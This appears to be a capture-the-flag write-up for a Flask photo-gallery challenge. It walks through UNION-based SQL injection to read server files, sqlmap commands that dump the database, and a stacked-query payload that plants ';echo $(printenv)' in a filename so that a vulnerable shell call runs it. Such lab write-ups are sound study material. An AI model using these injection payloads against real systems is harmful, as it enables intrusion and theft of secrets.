What

A Flask web application that pulls images from a database.

home

Difficulty: Moderate

Flag0

Hint0: Consider how you might build this system yourself. What would the query for fetch look like?

The actual code of backend application would depend on what language (php, python, etc.) was used, but there are some common steps one would follow.

  • Put the value of (image) id= parameter into a variable
  • Create a database connection - this includes hostname/IP, database name, username, password, maybe a port number if not using the default (more here)
  • Construct the sql query - it can take multiple steps and variables for complex queries
  • Run the query with a function
  • Use a function to fetch the query result

In our case, the query will look something like this:

SELECT data FROM table WHERE id=$id

Hint1: Take a few minutes to consider the state of the union

As the original query returns data from one column, we can add another column with union. Quick recap on union.

In the source code we see that images are loaded with <img src="fetch?id=1". Let’s check if fetch parameter is prone to union attack.

  • /fetch?id=1 will load the raw image.
  • /fetch?id=1 order by 1 still works, however, with order by 2 (and above) it throws an Internal Server Error.
  • /fetch?id=1 union select null also loads the raw image, ISE for select null,null.

By reflex, one would try to call the missing image with /fetch?id=3 to see the result (Internal Server Error). Maybe check, if something is hidden with a higher index number?

Just catch the request with Burp, pass it to Intruder and leave id=§3§ as payload position. On the Payloads tab, load some wordlist containing numbers and start attack.

fetch request

payloads

intruder results

The results show that id 1 and 2 will result a 200 OK, id 3 will throw a Server Error and all other values will drop a 404.

Hint2: This application runs on the uwsgi-nginx-flask-docker image

Google for “uwsgi-nginx-flask-docker”. Check the GitHub and the Docker pages.

As we can read in the description, “This Docker image allows you to create Flask web applications in Python that run with uWSGI and Nginx in a single container.”

In the How to use section on the Docker page we can see that

"By default it will try to find a uWSGI config file in /app/uwsgi.ini."

First, let’s see if we can retrieve this file with a union query. Use a value for id anything that would drop a 404 (see above) to get clear output of the file contents.

/fetch?id=4 union select 'uwsgi.ini'

uwsgi.ini

The application’s name is main (.py)

Also, in the Quick start section of the GitHub page, the first example is about how to create an application called main.py (in case we have to guess).

We can now retrieve this file too, with the first flag:

/fetch?id=4 union select 'main.py'

FLAG

Flag1

Hint0: I never trust a kitten I can’t see

Yes, the third picture missing. Reasons could be:

  • The file path, stored in the database does not match with the filename
  • The file path is okay, but there is no file uploaded
  • The file path does not fit to the data type of the column

Hint1: Or a query whose results I can’t see, for that matter

/fetch?id=3 is throwing an Internal Server Error. Not a 404, but 5xx.

Time to use sqlmap. First, we have to save the above request as a .txt file (with Burp).

Next, retrieve databases using the vulnerable request:

sqlmap -r fetch.txt --dbs --random-agent --threads 10
available databases [4]:
[*] information_schema
[*] level5
[*] mysql
[*] performance_schema

Next, see tables in level5 database:

sqlmap -r fetch.txt -D level5 --tables --random-agent --threads 10
Database: level5
[2 tables]
+--------+
| albums |
| photos |
+--------+

What’s in albums?

sqlmap -r fetch.txt -D level5 -T albums --dump --random-agent --threads 10
Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title   |
+----+---------+
| 1  | Kittens |
+----+---------+

Not much, let’s see photos:

sqlmap -r fetch.txt -D level5 -T photos --dump --random-agent --threads 10
Database: level5
Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title            | parent | filename                                                         |
+----+------------------+--------+------------------------------------------------------------------+
| 1  | Utterly adorable | 1      | files/adorable.jpg                                               |
| 2  | Purrfect         | 1      | files/purrfect.jpg                                               |
| 3  | Invisible        | 1      | IAMSOSORRYIAMSOSORRYIAMSOSORRYIAMSOSORRYIAMSOSORRYIAMSOSORRY     |
+----+------------------+--------+------------------------------------------------------------------+

Second flag is the filename column of the third photo.

Flag2

Hint0: That method of finding the size of an album seems suspicious

From main.py:

rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' 
rep += '\n'

Hint1: Stacked queries rarely work. But when they do, make absolutely sure that you’re committed

OK, for this one I used this writeup.

We have to use COMMIT; (".. you’re committed") to execute our query.

From EDUCBA:

"A COMMIT command in SQL is an essential command that is used after Data Manipulation Language (DML) operations like INSERT, DELETE and UPDATE transactions."

Hint2: Be aware of your environment

Environment variables. printenv.

In the writeup, there is a payload that sets the filename to ;echo $(printenv) for the image with id=3, which then gets injected into the application when it calculates space used.

/fetch?id=3; update photos set filename=";echo $(printenv)" where id=3; commit;

Refresh homepage:

FLAGS

Takeaway(s)

  • Realized that SQLI is not only ' OR 1=1 #..
  • Without the referred writeup, I would still stare at the screen..
  • Practice with multiple web app frameworks, even if only going through the "Getting started" tutorials